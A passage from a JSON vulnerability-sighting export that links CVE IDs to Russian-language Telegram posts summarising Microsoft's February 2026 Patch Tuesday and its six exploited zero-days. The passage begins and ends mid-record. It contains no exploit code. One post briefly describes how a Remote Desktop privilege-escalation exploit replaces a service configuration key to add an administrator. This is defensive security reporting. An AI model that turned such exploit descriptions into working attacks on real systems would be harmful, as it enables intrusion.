\u0441\u043b\u0443\u0436\u0431\u044b, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u0435\u0433\u043e \u043a\u043b\u044e\u0447\u043e\u043c, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 \u0430\u0434\u043c\u0438\u043d\u043e\u0432.\n\nCrowdStrike \u043d\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c, \u043d\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438  \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u0441\u043a\u043e\u0440\u044f\u0442 \u0441\u0432\u043e\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0434\u0430\u0442\u044c \u0435\u0433\u043e \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0435\u044e \u0441\u0438\u0441\u0442\u0435\u043c - \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-02-11T11:40:52.000000Z"}, {"uuid": "5cfd1105-51a0-4a97-8707-e72718756126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://t.me/true_secator/7897", "content": "\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0433\u043e PatchTuesday \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 6 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0438 \u0442\u0440\u0435\u0445 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 0-day: CVE-2026-21510, CVE-2026-21514, CVE-2026-21513, CVE-2026-21519, CVE-2026-21533 \u0438 CVE-2026-21525.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u044f\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0440\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 EoP, \u0430 \u0434\u0432\u0435 - \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438. \u0412 \u0446\u0435\u043b\u043e\u043c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: 25 - EoP, 5 - \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, 12 - RCE, 6 - \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 3 - DoS \u0438 7 - \u043f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, 3 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 Microsoft Edge, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b Secure Boot,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0442 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442 2011 \u0433\u043e\u0434\u0430, \u0441\u0440\u043e\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a\u0430\u0435\u0442 \u0432 \u0438\u044e\u043d\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows 10.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0443\u043b\u0435\u0439 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043a\u0443\u0447\u043d\u043e:\n\n- CVE-2026-21510: \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u0430 \u044f\u0440\u043b\u044b\u043a\u0430. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 Mark of the Web.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows SmartScreen \u0438 Windows Shell, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0443\u044e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows Shell, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f Microsoft MSTIC \u0438 MSRC, \u0433\u0440\u0443\u043f\u043f\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Office, Google \u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \n CVE-2026-21513 \u0438 CVE-2026-21514.\n\n- CVE-2026-21513: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Internet Explorer \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 HTML- \u0438\u043b\u0438 LNK-\u0444\u0430\u0439\u043b\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u0441\u0431\u043e\u0435\u043c \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0437\u0430\u0449\u0438\u0442\u044b MSHTML Framework, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438. \u0414\u0430\u043d\u043d\u044b\u0435 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n- CVE-2026-21514: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b OLE.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b Office \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0435\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0435\u0433\u043e.\n\nMicrosoft \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 Office. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043e, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e CVE-2026-21510, CVE-2026-21513 \u0438 CVE-2026-21514 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.\n\n- CVE-2026-21519: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0431\u044b\u043b\u0430 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0430, \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\nMicrosoft \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u0442\u043e, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043d\u0442\u0440\u0430\u043c Microsoft MSTIC \u0438 MSRC.\n\n- CVE-2026-21525: DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows.\n\n\u0420\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Windows \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0435.\n\nMicrosoft \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 ACROS, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441 0patch.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u044b\u0441\u043a\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f CVE-2025-59230, \u043d\u043e \u043e\u043d \u043d\u0435 \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435\u00bb.\n\n- CVE-2026-21533: EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 Windows.\n\n\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 Windows Remote Desktop \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e. \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f CrowdStrike.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c CrowdStrike, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2026-21533 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043b\u044e\u0447 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u043b\u0443\u0436\u0431\u044b, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u0435\u0433\u043e \u043a\u043b\u044e\u0447\u043e\u043c, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 \u0430\u0434\u043c\u0438\u043d\u043e\u0432.\n\nCrowdStrike \u043d\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c, \u043d\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438  \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0443\u0441\u043a\u043e\u0440\u044f\u0442 \u0441\u0432\u043e\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0434\u0430\u0442\u044c \u0435\u0433\u043e \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0435\u044e \u0441\u0438\u0441\u0442\u0435\u043c - \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-02-11T11:40:52.000000Z"}, {"uuid": "0370a7b5-74a9-4908-b427-ee7220d22249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/kasperskyb2b/2078", "content": "\ud83d\udc98 \u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: \u0428\u0415\u0421\u0422\u042c \ud83d\udd25 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0432 \u00ab\u0433\u043e\u0440\u044f\u0447\u0438\u0439\u00bb \u0441\u0435\u0437\u043e\u043d\n\nMicrosoft \u0434\u0430\u0440\u0438\u0442 \u0432\u0441\u0435\u043c \u0432\u043b\u044e\u0431\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043d\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (62 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (3 EoP \u0438 2 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438). \u0412\u0441\u0435\u0433\u043e 25 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 12 \u2014 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e 